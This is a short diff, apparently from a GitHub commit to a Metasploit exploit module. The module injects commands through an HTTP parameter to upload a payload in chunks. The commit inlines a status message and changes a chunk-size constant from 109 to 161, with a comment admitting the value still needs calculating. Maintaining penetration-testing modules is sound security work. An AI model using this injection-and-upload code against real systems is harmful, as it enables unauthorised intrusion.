@@ -82,15 +82,13 @@ def execute_command(cmd, opts = {})
82
82
83
83
case datastore [ 'HTTPMETHOD' ]
84
84
when 'POST'
85
- @method_specific_message = "Performing HTTP POST requests to upload payload"
86
85
resp = send_request_cgi ( {
87
86
'uri' => uri ,
88
87
'vars_post' => { datastore [ 'PARAMETER' ] => inject } ,
89
88
'version' => '1.1' ,
90
89
'method' => 'POST'
91
90
} )
92
91
when 'GET'
93
- @method_specific_message = "Performing HTTP GET requests to upload payload"
94
92
resp = send_request_cgi ( {
95
93
'uri' => uri ,
96
94
'vars_get' => { datastore [ 'PARAMETER' ] => inject } ,
@@ -101,7 +99,7 @@ def execute_command(cmd, opts = {})
101
99
# Display a nice "progress bar" instead of message spam
102
100
case @notify_flag
103
101
when 0
104
- print_status ( @method_specific_message )
102
+ print_status ( "Performing HTTP #{ datastore [ 'HTTPMETHOD' ] } requests to upload payload" )
105
103
@notify_flag = 1
106
104
when 1
107
105
print ( "." ) # Progress dots
@@ -143,8 +141,9 @@ def exploit
143
141
144
142
print_status ( "Preparing payload..." )
145
143
#Now with all the arch specific stuff set, perform the upload.
146
- #109 = length of cmd string from "java_upload_part" method plus the max length of the boolean value append.
147
- sub_from_chunk = 109 + @payload_exe . length + normalize_uri ( target_uri . path ) . length + datastore [ 'PARAMETER' ] . length
144
+ #161 = length of cmd string from "java_upload_part" method plus the max length of the boolean value append and the length of the inject string.
145
+ #Need to calculate 161.
146
+ sub_from_chunk = 161 + @payload_exe . length + normalize_uri ( target_uri . path ) . length + datastore [ 'PARAMETER' ] . length
148
147
case datastore [ 'HTTPMETHOD' ]
149
148
when 'GET'
150
149
chunk_length = 2048 - sub_from_chunk
0 commit comments